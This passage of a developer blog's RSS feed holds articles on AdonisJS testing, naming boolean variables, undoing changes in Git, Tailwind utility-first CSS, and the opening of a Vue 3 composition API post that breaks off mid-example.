Factory.blueprint(<span class="hljs-string">'App/Models/User'</span>, (faker, i, data) =&gt; {
  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">username</span>: faker.username(),
    <span class="hljs-attr">email</span>: faker.email(),
    <span class="hljs-attr">password</span>: <span class="hljs-string">'test-password'</span>,
    ...data,
  }
})
</code></pre>
<p>Inside the tests, you can now create users easily</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)

Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
</code></pre>
<p>We can also override factory data.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)

Factory.model(<span class="hljs-string">'App/Models/User'</span>).create({ <span class="hljs-attr">email</span>: <span class="hljs-string">'email@test.com'</span> })
</code></pre>
<h2 id="examples">Examples</h2>
<h3 id="browser-test-%26-faking-emails">Browser test &amp; Faking emails</h3>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> { test, trait } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'ForgotPasswordController'</span>)
<span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)
<span class="hljs-keyword">const</span> Mail = use(<span class="hljs-string">'Mail'</span>)

trait(<span class="hljs-string">'Test/ApiClient'</span>)
trait(<span class="hljs-string">'DatabaseTransactions'</span>)

test(<span class="hljs-string">'sends forgot password email to user'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  Mail.fake()
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()

  <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/password/forgot'</span>).send({ <span class="hljs-attr">email</span>: user.email }).end()
  <span class="hljs-keyword">const</span> mail = Mail.pullRecent()
  assert.equal(mail.message.to[<span class="hljs-number">0</span>].address, user.email)
  assert.equal(mail.message.subject, <span class="hljs-string">'Password Reset'</span>)

  Mail.restore()
})
</code></pre>
<h3 id="checking-controller-response">Checking controller response</h3>
<pre class="hljs"><code>test(<span class="hljs-string">'resets password with correct token'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">const</span> token = <span class="hljs-keyword">await</span> (<span class="hljs-keyword">new</span> TokenService).generateToken(user.email)

  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/password/reset'</span>).send({ <span class="hljs-attr">email</span>: user.email, token, <span class="hljs-attr">password</span>: <span class="hljs-string">'new password'</span> }).end()
  <span class="hljs-keyword">await</span> user.reload()

  response.assertStatus(<span class="hljs-number">200</span>)
  response.assertJSON({ <span class="hljs-attr">message</span>: <span class="hljs-string">'Password reset successful.'</span> })
  assert.isTrue(<span class="hljs-keyword">await</span> user.verify(<span class="hljs-string">'new password'</span>))
})
</code></pre>
<hr>
<p>This should give you a good idea on how to get started with testing with the adonis framework. Make sure to read the official docs for more information.</p>
<blockquote>
<p>Read more about faking mails, events and dependencies in an ioc container here: <a href="https://adonisjs.com/docs/4.1/testing-fakes">https://adonisjs.com/docs/4.1/testing-fakes</a></p>
</blockquote>
<blockquote>
<p>Read more about http tests, different request types, authentication, sessions and assertion types here: <a href="https://adonisjs.com/docs/4.1/api-tests">https://adonisjs.com/docs/4.1/api-tests</a></p>
</blockquote>
<p>Have fun testing and TDDing!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tips on naming boolean variables - Cleaner Code]]></title>
            <link>https://michaelzanggl.com/articles/tips-on-naming-boolean-variables/</link>
            <guid>tips-on-naming-boolean-variables</guid>
            <description><![CDATA[If there is one thing developers agree on, it is the fact that naming is hard, hopefully these tips can save you valuable time in the future.]]></description>
            <content:encoded><![CDATA[<p>There is a convention to prefix boolean variables and function names with &quot;is&quot; or &quot;has&quot;. You know, something like <code>isLoggedIn</code>, <code>hasAccess</code> or things like that.</p>
<p>But throughout my career I have seen and written code where this convention was just thrown out the window. So let's check out some of these edge cases.</p>
<p><strong>As with all rules, there are exceptions and it might be better to go with that rather than enforcing a convention.</strong></p>
<h2 id="boolean-that-verifies-that-every-case-is-true">Boolean that verifies that every case is true</h2>
<pre class="hljs"><code><span class="hljs-keyword">const</span> XXX = users.every(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.isActive)
</code></pre>
<p>XXX will only be true if every user is active. How could we name the variable?</p>
<table>
<thead>
<tr>
<th>variable</th>
<th style="text-align:center">Any good?</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td>isUsersLoggedIn</td>
<td style="text-align:center">🤨</td>
<td>Grammatically incorrect</td>
</tr>
<tr>
<td>areUsersLoggedIn</td>
<td style="text-align:center">🤔</td>
<td>Custom prefix</td>
</tr>
<tr>
<td>isEveryUserLoggedIn</td>
<td style="text-align:center">👍</td>
<td>Fits with <code>Array.prototype.every</code></td>
</tr>
<tr>
<td>isEachUserLoggedIn</td>
<td style="text-align:center">🥰</td>
<td>Comes off more natural than &quot;every&quot; (depends)</td>
</tr>
</tbody>
</table>
<h2 id="boolean-that-verifies-that-one-of-many-cases-is-true">Boolean that verifies that one of many cases is true</h2>
<pre class="hljs"><code><span class="hljs-keyword">const</span> XXX = users.some(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.isActive)
</code></pre>
<p>XXX will only be true if at least one user is active.</p>
<table>
<thead>
<tr>
<th>variable</th>
<th style="text-align:center">Any Good?</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td>isUsersActive</td>
<td style="text-align:center">🙁</td>
<td>Grammatically incorrect &amp; ambiguous</td>
</tr>
<tr>
<td>isAtLeastOneUserActive</td>
<td style="text-align:center">😵</td>
<td>Too wordy</td>
</tr>
<tr>
<td>isOneUserActive</td>
<td style="text-align:center">🤥</td>
<td>Lie. This could imply that there is <strong>only</strong> one user active. <strong>Avoid confusion!!!</strong></td>
</tr>
<tr>
<td>isSomeUserActive</td>
<td style="text-align:center">👍</td>
<td>Fits with <code>Array.prototype.some</code></td>
</tr>
<tr>
<td>isAnyUserActive</td>
<td style="text-align:center">🤗</td>
<td>Comes off more natural than &quot;some&quot; (depends)</td>
</tr>
</tbody>
</table>
<x-ad />
<h2 id="avoid-custom-prefixes">Avoid custom prefixes</h2>
<p>We covered this in one of the examples before already, but there are more...</p>
<table>
<thead>
<tr>
<th>variable</th>
<th style="text-align:center">Any good?</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td>wasPaidFor</td>
<td style="text-align:center">😣</td>
<td>Custom prefix</td>
</tr>
<tr>
<td>paidFor</td>
<td style="text-align:center">🤔</td>
<td>No prefix</td>
</tr>
<tr>
<td>areBillsPaidFor</td>
<td style="text-align:center">🤔</td>
<td>Custom prefix</td>
</tr>
<tr>
<td>hadHaveHadBeenPaidFor</td>
<td style="text-align:center">😶</td>
<td>Ok, <a href="https://www.youtube.com/watch?v=NiylEdcIZ2Q">I'm just joking</a> at this point</td>
</tr>
<tr>
<td>isPaidFor</td>
<td style="text-align:center">😊</td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="affirmative-names">Affirmative names</h2>
<table>
<thead>
<tr>
<th>variable</th>
<th style="text-align:center">Any good?</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td>isDisabled</td>
<td style="text-align:center">🧐</td>
<td>Non-affirmative</td>
</tr>
<tr>
<td>isNotActive</td>
<td style="text-align:center">🤯</td>
<td>Just imagine <code>!isNotActive</code></td>
</tr>
<tr>
<td>hasNoBillingAddress</td>
<td style="text-align:center">😞</td>
<td>No need for &quot;no&quot;</td>
</tr>
<tr>
<td>isEnabled / isActive / hasBillingAddress</td>
<td style="text-align:center">😁</td>
<td>And use it like this <code>!isActive</code> to get the negative</td>
</tr>
</tbody>
</table>
<p>The problem with non-affirmative names becomes most apparent when you have something like this</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (!account.isDisabled) {
  <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>Just see how much easier this reads</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (account.isEnabled) {
  <span class="hljs-comment">// ...</span>
}
</code></pre>
<hr>
<p>Finally let's take a look at a more complex example.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> isAnyUserOffline = users.some(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> !user.isOnline)

<span class="hljs-keyword">if</span> (isAnyUserOffline) {
  <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>While this works, because of the combination of <code>some</code> and <code>!</code>, it just takes a little more brain power to process this code. An alternative would be:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> isEveryUserOnline = users.every(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.isOnline)

<span class="hljs-keyword">if</span> (!isEveryUserOnline) {
  <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>It behaves the same and as long as the data set is small enough I would not worry about the small performance impact.</p>
<hr>
<p>I am sure there is a lot I missed, but I think these are some of the more common cases.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Undo changes in Git - Cheat sheet]]></title>
            <link>https://michaelzanggl.com/articles/undo-changes-in-git/</link>
            <guid>undo-changes-in-git</guid>
            <description><![CDATA[Never confuse git checkout, stash, reset, clean, revert, rebase -i, amend again.]]></description>
            <content:encoded><![CDATA[<p>Git is one of these things that you learn progressively. You start with <code>git add .</code> to stage files, <code>git commit -m “message”</code> to commit them locally and finally <code>git push</code> to push them to the remote repository.
But over time you make mistakes and if you always just google and paste in random commands, you might easily get confused by the sheer amount of commands like &quot;git reset&quot;, &quot;git revert&quot;, &quot;git clean&quot;, &quot;git checkout .&quot;, &quot;git rebase -i&quot;, &quot;git commit --amend&quot; and more. Let’s go through them one by one!</p>
<h1 id="table-of-contents">Table of contents</h1>
<ul>
<li><a href="#understanding-key-terms">Understanding key terms</a></li>
<li><a href="#dont-undo-save-changes-for-later-use">Don't undo: save changes for later use</a></li>
<li><a href="#dont-undo-add-something-to-the-latest-commit-or-change-the-message">Don't undo: Add something to the latest commit or change the message</a></li>
<li><a href="#unstage-files-precommit">Unstage files (precommit)</a></li>
<li><a href="#revert-changes-precommit">Revert changes (precommit)</a></li>
<li><a href="#remove-newuntracked-files-and-directories">Remove new/untracked files and directories</a></li>
<li><a href="#revert-a-commit-in-a-new-commit">Revert a commit in a new commit</a></li>
<li><a href="#remove-latest-commits-without-a-new-commit">Remove latest commit(s) without a new commit</a></li>
<li><a href="#change-history">Change history</a></li>
<li><a href="#remove-branch-locally">Remove branch locally</a></li>
<li><a href="#remove-remote-branch">Remove remote branch</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>
<h2 id="understanding-key-terms">Understanding key terms</h2>
<p>You can always find more help <a href="https://git-scm.com/docs/">here</a>, but it is important to understand some key terms.</p>
<ul>
<li>Index: When you stage files using <code>git add</code> it adds the files to an index file. So Staging is the same as index.</li>
<li>Untracked: If you create a new file, it is untracked until you stage it.</li>
<li>HEAD: HEAD points to the latest commit of your current branch. That's why you sometimes see the funnily chosen <code>detached HEAD</code>, when you check out an older commit for example.</li>
<li>The dot in <code>git add .</code> refers to the current directory. So all files in the current directory and in all sub directories will get staged. We will learn some more commands that make use of the dot.</li>
</ul>
<x-ad />
<h2 id="dont-undo-save-changes-for-later-use">Don't undo: save changes for later use</h2>
<blockquote>
<p><code>git stash -u</code></p>
</blockquote>
<p>This will save every untracked files (-u flag), staged and unstaged modifications.</p>
<p>To retrieve the latest stash again, run</p>
<pre class="hljs"><code>git stash apply
</code></pre>
<p>To keep your stash list clean you can also execute <code>git stash pop</code> instead. It will do the same as apply, but also remove the applied stash from the stash list.</p>
<p>Use <code>git stash list</code> to retrieve a list of all your stashes.</p>
<p><strong>Use case</strong>: You are working on something but suddenly need to change branches (e.g. to create a hotfix for a sudden urgent bug)</p>
<p><strong>Bonus</strong>: To know what stash belongs to what, you can give your stash a note by running: <code>git stash push -u -m &quot;your message&quot;</code></p>
<h2 id="dont-undo-add-something-to-the-latest-commit-or-change-the-message">Don't undo: Add something to the latest commit or change the message</h2>
<blockquote>
<p><code>git commit --amend -m &quot;added file and changed message to this&quot;</code></p>
</blockquote>
<p><code>amend</code> allows you to add more files to the latest commit.</p>
<p><strong>Use case</strong>: You forgot to stage a certain file that should have been part of the commit.</p>
<p><strong>Bonus</strong>: Even if no file has been added you can still commit with the &quot;amend&quot; option to simply change the message.</p>
<p><strong>If other people are working on your branch: Be careful to not amend when the latest commit has already been published (pushed). It would require <code>git push --force</code></strong></p>
<h2 id="unstage-files-precommit">Unstage files (precommit)</h2>
<blockquote>
<p><code>git reset .</code></p>
</blockquote>
<p>also often seen as just <code>git reset</code></p>
<p>Example:</p>
<pre class="hljs"><code><span class="hljs-built_in">echo</span> <span class="hljs-string">"code code code"</span> &gt;&gt; index.js
git add .
git reset .
</code></pre>
<p>It will simply unstage <code>index.js</code> and put the changes back into your working tree. You can apply the <code>--hard</code> flag to completely get rid of your changes.</p>
<p><strong>Use case</strong>: Out of habit, you staged all modifications using <code>git add .</code>, but want to unstage certain files to commit them separetely.</p>
<p><strong>Bonus</strong>: To unstage only specific files you can do it the same way as with <code>git add</code></p>
<pre class="hljs"><code>git add User.js UserController.js UserService.js
git reset UserService.js User.js
</code></pre>
<p>This keeps <code>UserController.js</code> staged.</p>
<h2 id="revert-changes-precommit">Revert changes (precommit)</h2>
<blockquote>
<p><code>git checkout .</code></p>
</blockquote>
<p><code>git checkout</code> is used to change branches, but if you check out a filepath instead, it has a different purpose.</p>
<p>If you have changed any files locally, this will revert your changes with either what is in the index or in the commit. More on that in a moment.</p>
<p>Example:</p>
<pre class="hljs"><code><span class="hljs-built_in">echo</span> -n <span class="hljs-string">"1"</span> &gt;&gt; newfile
git add .
git commit -m <span class="hljs-string">"added newfile"</span>

<span class="hljs-built_in">echo</span> -n <span class="hljs-string">"2"</span> &gt;&gt; newfile
</code></pre>
<p>So we created a new file, staged and commited it and then appended the text &quot;2&quot; to the file.</p>
<p>If you now run <code>git checkout newfile</code> it will remove any local changes, in this case &quot;2&quot;. Your working tree will be clean again.</p>
<p>Let's look at what happens when you start staging in between. This will give you a new perspective into <code>git add</code>, making the command more powerful than ever.</p>
<pre class="hljs"><code><span class="hljs-built_in">echo</span> -n <span class="hljs-string">"1"</span> &gt;&gt; newfile
git add .
git commit -m <span class="hljs-string">"added newfile"</span>

<span class="hljs-built_in">echo</span> -n <span class="hljs-string">"2"</span> &gt;&gt; newfile
git add .

<span class="hljs-built_in">echo</span> -n <span class="hljs-string">"3"</span> &gt;&gt; newfile
</code></pre>
<p>This is the content of the file in the different states</p>
<ul>
<li>HEAD: &quot;1&quot;</li>
<li>Index: &quot;12&quot;</li>
<li>Working Tree: &quot;123&quot;</li>
</ul>
<p>If you now run <code>git checkout newfile</code> it will only remove the content <code>3</code> from your local changes. In other words, if it finds the file in the index, it will revert the changes by what is in the index, not in the HEAD. It will still have <code>newfile</code> staged with the content &quot;12&quot;.</p>
<p>To also remove &quot;2&quot; you have to first unstage the file as we learned and then check it out again.</p>
<pre class="hljs"><code>git reset
git checkout .
</code></pre>
<blockquote>
<p>Since it only replaces the files with those from the index / HEAD, <code>git checkout</code> won't do anything with untracked files.</p>
</blockquote>
<p><strong>Use case</strong>: You made modifications to file A and when modifying file B you realized the changes in file A were actually not necessary and it's better to just check it out again.</p>
<p><strong>Bonus</strong>: If a file you want to checkout is unfortunate enough to have the same name as a branch, you have to checkout like this <code>git checkout -- master</code> to avoid checking out the master branch for example.</p>
<h2 id="remove-newuntracked-files-and-directories">Remove new/untracked files and directories</h2>
<blockquote>
<p><code>git clean -f</code></p>
</blockquote>
<p>Similar to <code>git checkout .</code> with the difference that it only works for untracked files. You can run <code>git clean --dry-run</code> or <code>git clean -n</code> to see which files would be <strong>permanently</strong> deleted. Add the &quot;-d&quot; flag to include directories.</p>
<pre class="hljs"><code>touch newfile
git clean -d -n
</code></pre>
<p>The output will be &quot;Would remove newfile&quot;.</p>
<p><strong>Bonus</strong>: Use <code>git clean -i</code> to start interactive cleaning, giving you more options over what to do with each file individually.</p>
<h2 id="revert-a-commit-in-a-new-commit">Revert a commit in a new commit</h2>
<blockquote>
<p>git revert <code>commit-id</code></p>
</blockquote>
<p>Reverts the changes of the commit ID and creates a new commit for it.</p>
<p><strong>Use case</strong>: A commit that has been pushed causes a bug and has to be reverted.</p>
<p><strong>Bonus</strong>: Apply the <code>-e</code> or <code>--edit</code> flag to modify the commit message. For example, you can add the reason why this commit has to be reverted.</p>
<h2 id="remove-latest-commits-without-a-new-commit">Remove latest commit(s) without a new commit</h2>
<blockquote>
<p>git reset HEAD^</p>
</blockquote>
<p>Imagine you commit something by accident and you want to undo the commit. <code>git reset HEAD^</code> will revert the latest commit like it never happened and puts the modifications back to your local working tree. It will not create a new commit and the latest commit will disappear from the history.</p>
<p>We saw <code>git reset</code> before already to unstage files. When you pass a commit however, you can actually reset HEAD to whatever commit you want. Imagine you have the commits A, B and C. With <code>git reset A</code> A will become the latest commit and if you <code>git log</code>, you will no longer find B and C.</p>
<p>We said that <code>git reset HEAD^</code> keeps the changes in the working tree. So in other words, it resets the HEAD and the index.</p>
<p>Use the &quot;--soft&quot; flag to only reset the HEAD, which means that the changes will remain &quot;staged&quot;.
Use the &quot;--hard&quot; flag to reset HEAD, index and the working tree, which means the changes will be completely deleted.</p>
<p>Instead of <code>git reset HEAD^</code> you can also write <code>git reset HEAD^1</code>, <code>git reset HEAD~1</code> or <code>git reset HEAD~</code>.</p>
<p><strong>If other people are working on your branch: Be careful to not reset HEAD to a previous commit when the commits you reset have already been published. It would require <code>git push --force</code></strong></p>
<p><strong>Use case</strong>: You committed modifications <strong>locally</strong>, but realized you were comitting to the wrong branch.</p>
<p><strong>Bonus</strong>: There are a total of four ways to reset more than just the latest commit.</p>
<p>All of these four lines reset the last two commits</p>
<pre class="hljs"><code>git reset HEAD^2
git reset HEAD^^

git reset HEAD~2
git reset HEAD~~
</code></pre>
<p><strong>Bonus2</strong>: <code>git reset</code> does not actually remove the latest commit, it simply &quot;rolls back&quot; HEAD to the commit you want. B and C are still saved for 30 days.</p>
<h2 id="change-history">Change history</h2>
<p>Let's take a quick look into interactive rebasing. We learned <code>git reset HEAD~1 --hard</code> as a way to remove the latest commit. We can achieve the same thing with interactive rebasing, just that it is more powerful. <code>rebase</code> this time actually changes the commit object and doesn't just point HEAD to a specific commit.</p>
<pre class="hljs"><code>git rebase -i HEAD~4
</code></pre>
<p>We see the same <code>HEAD~4</code> as with <code>git reset</code> before. 4 refers to the number of commits you want to rebase.</p>
<p>This will now open an editor (vim?) with the following content</p>
<pre class="hljs"><code>pick 123a44b0 your latest commit
pick C23a44b0 commit 3
pick B23a44b0 commit 2
pick A23a44b0 commit 1

<span class="hljs-comment"># Rebase ...</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment"># Commands:</span>
<span class="hljs-comment"># p, pick &lt;commit&gt; = use commit</span>
<span class="hljs-comment"># r, reword &lt;commit&gt; = use commit, but edit the commit message</span>
<span class="hljs-comment"># e, edit &lt;commit&gt; = use commit, but stop for amending</span>
<span class="hljs-comment"># s, squash &lt;commit&gt; = use commit, but meld into previous commit</span>
<span class="hljs-comment"># f, fixup &lt;commit&gt; = like "squash", but discard this commit's log message</span>
<span class="hljs-comment"># x, exec &lt;command&gt; = run command (the rest of the line) using shell</span>
<span class="hljs-comment"># b, break = stop here (continue rebase later with 'git rebase --continue')</span>
<span class="hljs-comment"># d, drop &lt;commit&gt; = remove commit</span>
</code></pre>
<p>Let's replace</p>
<pre class="hljs"><code>pick 123a44b0 your latest commit
pick C23a44b0 commit 3
pick B23a44b0 commit 2
pick A23a44b0 commit 1
</code></pre>
<p>by</p>
<pre class="hljs"><code>pick 123a44b0 your latest commit
fixup C23a44b0 commit 3
f B23a44b0 commit 2
drop A23a44b0 commit 1
</code></pre>
<p>As you can see, you can either write out the option like <code>fixup</code> or use the abbreviation <code>f</code> in this case.</p>
<p>This will squash (merge) &quot;C23a44b0&quot; and &quot;B23a44b0&quot; into &quot;123a44b0&quot;, making one commit out of it. Regarding &quot;A23a44b0&quot;, this commit will get completely removed. So once the rebase is complete you will end up with only one commit &quot;123a44b0&quot;.</p>
<p><strong>If other people are working on your branch: Be careful to not rebase when the commits you want to rebase have already been published. It would require <code>git push --force</code></strong></p>
<p><strong>Use case</strong>: You are working <strong>all alone on your own branch</strong> and want to have a clean list of commits for the PR/MR.</p>
<p><strong>Bonus</strong>: You can even move commits around by just changing the order they appear in the list.</p>
<h2 id="remove-branch-locally">Remove branch locally</h2>
<blockquote>
<p><code>git checkout master</code></p>
</blockquote>
<blockquote>
<p><code>git branch -D branch-to-delete</code></p>
</blockquote>
<p><strong>Use case</strong>: Instead of reverting a bunch of commits, sometimes it is just faster to delete your local branch and check it out again.</p>
<h2 id="remove-remote-branch">Remove remote branch</h2>
<p><code>git push origin branch-to-delete --delete</code></p>
<p><strong>Use case:</strong> After pushing you realize the name you have chosen doesn't make sense and you want to change it (<strong>Bonus</strong>: Do so with <code>git branch -m &quot;new-name&quot;</code>)</p>
<hr>
<h2 id="conclusion">Conclusion</h2>
<p>Git is quite a beast to master and I am sure there are other ways to achieve some of these tasks. Please leave a comment if you know any and I can add them to the list.</p>
<p>Want to learn more about Git or a way to remember all these small things. Why not rebuild something like VS Code's Git integration. Here is the source code for starters: <a href="https://github.com/Microsoft/vscode/tree/master/extensions/git">https://github.com/Microsoft/vscode/tree/master/extensions/git</a>.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Utility-first CSS - You have to try it first!]]></title>
            <link>https://michaelzanggl.com/articles/utility-first-css/</link>
            <guid>utility-first-css</guid>
            <description><![CDATA[Utility-first CSS provides many benefits over traditional solutions. The article highlights these and addresses common concerns regarding utility-first CSS.]]></description>
            <content:encoded><![CDATA[<p>Years ago, Bootstrap has already provided us with a set of utility classes. For example <code>text-center</code> for <code>text-align: center;</code>. Over the years, such frameworks started shipping more and more just like this.</p>
<p>Probably my favorite ones are spacing utilities. <code>mt-1</code> for <code>margin-top: 2px;</code>, <code>px-3</code> for <code>padding-left: 8px; padding-right: 8px;</code>, <code>m-auto</code> for <code>margin: auto</code> etc. Gone are the days where I have to invent a class name for something abstract, just so I can give it some padding.</p>
<p>So recently, version 1.0 of <a href="https://tailwindcss.com/">Tailwind CSS</a> was released. Its approach is vastly different from traditional CSS frameworks. Rather than providing high level styles and components, it keeps everything low level, focusing only on utility classes.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"md:flex bg-white hover:bg-gray-200 rounded-lg p-6"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"h-16 w-16 md:h-24 md:w-24 rounded-full mx-auto md:mx-0 md:mr-6"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"avatar.jpg"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-center md:text-left"</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-lg"</span>&gt;</span>Erin Lindford<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-purple-500"</span>&gt;</span>Customer Support<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-gray-600"</span>&gt;</span>erinlindford@example.com<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"text-gray-600"</span>&gt;</span>(555) 765-4321<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<h2 id="this-looks-horrendous!-my-html-will-be-forever-ruined!!">This looks horrendous! My HTML will be forever ruined!!</h2>
<p>This is probably most people's first reaction when they see this. Hey, this is breaking various best practices on semantics after all.</p>
<p>It just feels wrong... <strong>Until you try it for yourself!</strong></p>
<p>I repeat, you have to try it out to understand it!</p>
<p>Open up codepen and try recreating something from <a href="https://tailwindcss.com/components/#app">here</a>.</p>
<p>At least for me, it feels weirdly <strong>natural</strong> and <strong>productive</strong>. No longer having to switch between HTML and CSS is a bliss. If you think about it, when was the last time you edited HTML without changing its styles at the same time?</p>
<p>So let's tackle the most common question!</p>
<h2 id="why-not-just-write-inline-styles%3F">Why not just write inline styles?</h2>
<ul>
<li>With inline styles you are very limited. No media queries or pseudo classes.</li>
<li>With tailwind CSS you pick from a set of classes, so rather than thinking up a new font size, color, margin, padding, etc. evertime you add styles, you just pick something from the existing set. As Adam Wathan puts it <code>Designing with constraints</code>. This has two major benefits.</li>
</ul>
<ol>
<li>You will save a lot of time not having to come up with new sizes and colors all the time</li>
<li>Reusing the same sizes, etc. will naturally also improve the UI a lot.</li>
</ol>
<x-ad />
<h3 id="lets-go-through-some-more-benefits">Let's go through some more benefits</h3>
<ul>
<li>No more wasting time inventing bad classnames like <code>this-wrapper</code>, <code>that-body</code>.</li>
<li>breakpoint prefixes! Let me say that again, breakpoint prefixes!! In other words, get rid of 99.999% of media queries. <code>xs:p-3</code>, <code>md:text-center</code>...</li>
<li>Customizable to the core. Don't like a certain property? Override the default in the configurations! You can even add your own utility classes while still making use of breakpoints, pseudo classes etc.</li>
<li>JS Framework agnostic. Works out of the box with vue, react, angular, blade, traditional sites etc. That means you don't have to learn a new CSS framework just because you decide to use a different JS framework.</li>
<li>Find yourself repeating a set of classes? No problem, it's called &quot;utility-first&quot;, not &quot;utility-only&quot;. TailwindCSS even helps you making new classes using existing utilities</li>
</ul>
<pre class="hljs"><code><span class="hljs-selector-class">.btn</span> {
  @apply rounded-full text-sm text-white bg-blue-400 shadow-lg;
}
</code></pre>
<ul>
<li>You no longer need to maintain huge CSS/SCSS files. CSS grows very very fast after all.</li>
<li>This goes together with the previous benefit. With a utility-first approach, you will be much more confident making changes.</li>
<li>No framework lock-in that dictates how your buttons etc. should look and feel like. This will make your design unique.</li>
</ul>
<hr>
<p>If you still have doubts, <a href="https://www.youtube.com/watch?v=0aTRN9CSCY0&amp;list=PL7CcGwsqRpSO3J4YU6BkWqjU0XcVSaPXl">watch the creator of TailwindCSS make a website from scratch</a>.</p>
<p>TailwindCSS also ranked extremely high in <a href="https://www.freecodecamp.org/news/the-state-of-css-2019-survey-results-are-live/">The State of CSS 2019</a>.</p>
<h2 id="conclusion">Conclusion</h2>
<blockquote>
<p>Did you know <a href="http://www.fullstackradio.com/75">GitHub is following this approach</a> as well?</p>
</blockquote>
<p>Maybe I just really like it because it is feels so refreshing. Maybe I am overlooking the drawbacks and only focus on the benefits it provides. That is definitely possible. So let's see how I feel about this in a year from now. But for the time being, I am really enjoying it!</p>
<p>With all that being said, try <a href="https://tailwindcss.com/docs/installation/">it</a> out for yourself and hopefully you will enjoy it as much as I do!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vue 3 just got me from interested to excited]]></title>
            <link>https://michaelzanggl.com/articles/vue-3-is-exciting/</link>
            <guid>vue-3-is-exciting</guid>
            <description><![CDATA[Vue 3 has been on my radar for a while, but a recent RFC got me from interested to excited.]]></description>
            <content:encoded><![CDATA[<p>Vue 3 has been on my radar for a while, but a recent RFC got me from &quot;interested&quot; to &quot;excited&quot;.</p>
<p>I am specifically talking about declaring components.</p>
<p>This is how you typically do it in Vue 2:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>{{ hello }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  data() {
    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">hello</span>: <span class="hljs-string">'world'</span>
    }
  }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Vue 3 (not released yet) introduces the composition API. This allows you to put the logic together rather than being spread across options.</p>
<p>My first reaction to this was: cool, this will be useful for complex components, but I will probably stick with the old one for cases that don't require it.</p>
<p>After all, this is how the above component would look like:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>{{ hello }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> { ref } <span class="hljs-keyword">from</span> <span class="hljs-string">'vue'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
